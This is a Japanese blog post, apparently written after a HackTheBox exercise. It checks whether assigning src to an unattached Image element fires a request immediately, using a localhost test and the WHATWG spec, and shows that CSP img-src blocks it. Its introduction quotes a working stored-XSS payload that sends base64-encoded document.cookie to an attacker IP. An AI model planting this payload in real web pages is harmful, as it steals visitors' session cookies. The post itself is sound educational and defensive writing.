調べたいこと & その結論
Q.
JavaScriptでimage要素を動的に生成し、src属性をセットすると、その瞬間にsrcへリクエストが送信されるのは本当か?
A.
本当。
ただし、CSPによって画像の読み込み元が制限されている場合は送信されない。
はじめに
HackTheBoxをプレイしていた際に、アクセスユーザのcookie情報をstored XSSで漏洩させる手法を学んだ。
具体的には、以下のscript要素をWebページ上に配置することで、アクセスしたユーザのcookieを窃取できるとのこと。
<script>
let img=new Image();
img.src="http://10.10.16.5:8001/?"+btoa(document.cookie);
</script>
このスクリプトは、ユーザが当該ページにアクセスした際に以下の処理を行う。
- image要素を動的に作成する
- そのsrc属性に攻撃者サーバのURL(アクセスユーザのcookieを含む)を指定する
- すると、アクセスユーザのcookieが攻撃者サーバに送信される
疑問
このスクリプトが実行されただけでは、image要素はDOMに追加されていない。つまり、ユーザがimage要素を視認することはできない。
それにもかかわらず、srcにURLを指定した瞬間にリクエストが送信されるとされている。
私は「要素がDOMに追加されてからリソースが読み込まれる」と思っており、「画像がDOMに存在しないのに(ユーザには見えない画像なのに)、ブラウザが画像を取得しようとする」のは意外だった。
そのため、これが正しいか実際に調査することにした。
調査
用意
2つの環境を用意する。どちらもローカル環境である。
- ブラウザの開発者ツール内のコンソール
- ローカルのkali linux
python3 -m http.server 8001を実行し、通信を待ち受けておく
実行
kali linuxで通信を待ち受けている状態で、開発者ツールで以下の命令を実行する。
let img = new Image();
img.src = "http://localhost:8001/?hello";
すると、src属性の設定(コード2行目)を行った瞬間に、サーバ側にリクエストが届くことが確認できた。
$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
127.0.0.1 - - [01/Jun/2025 19:50:37] "GET /?hello HTTP/1.1" 200 -
仕様を確認
WHATWGの仕様書「HTML
Living Standard」には、以下の記載がある。
4.8.4.3.1 When to obtain images
By default, images are obtained immediately. (略)
When obtaining images immediately, the user agent must synchronously update the image data of the img element, with the restart animation flag set if so stated, whenever that element is created or has experienced relevant mutations.
4.8.4.3.2 Reacting to DOM mutations
The relevant mutations for an img element are as follows:
・The element's src, srcset, width, or sizes attributes are set, changed, or removed.
日本語訳を以下に示す。
4.8.4.3.1 画像を取得するタイミング
デフォルトでは、画像は即座に取得されます。(略)
画像を即時に取得する場合、ユーザーエージェントは、その要素が作成されるたび、または「関連する変更」が発生するたびに、img 要素の画像データを同期的に更新し、指定されている場合は再開アニメーションフラグを設定する必要があります。
4.8.4.3.2 DOMの変更への対応
「関連する変更」とは次のとおりです。
・要素の src、srcset、width、または sizes 属性が設定、変更、または削除されます。
補足:CSPが設定されているWebページでこの攻撃を試すとどうなるか
画像に対してCSPが設定されているWebページでは、この攻撃は通用しない。
なぜなら、リクエスト自体が送信されないからである。
実際に、CSPが設定されたサイト(例:https://developer.mozilla.org/)で開発者ツールを開き、先ほどの命令を実行する。
すると以下の通りエラーが返ってくる。
Refused to load the image 'http://localhost:8001/' because it violates the following Content Security Policy directive: "img-src 'self' data: *.githubusercontent.com *.googleusercontent.com *.gravatar.com mozillausercontent.com firefoxusercontent.com profile.stage.mozaws.net profile.accounts.firefox.com developer.mozilla.org mdn.dev interactive-examples.mdn.mozilla.net interactive-examples.mdn.allizom.net wikipedia.org upload.wikimedia.org https://mdn.github.io/shared-assets/ https://mdn.dev/ https://*.google-analytics.com https://*.googletagmanager.com www.gstatic.com".
ネットワークタブを見ると、localhost:8001宛のリクエストのステータスが「(ブロック:csp)」となっており、リクエストがブロックされたことがわかる。
これは、kali linuxで待ち受けているサーバにログが残っていないことからも明らかである。
参考リンク
記事完成後に見つけた関連ページを貼っておく。
please-sleep.cou929.nu
k-ichikawa.blog.enjoy.jp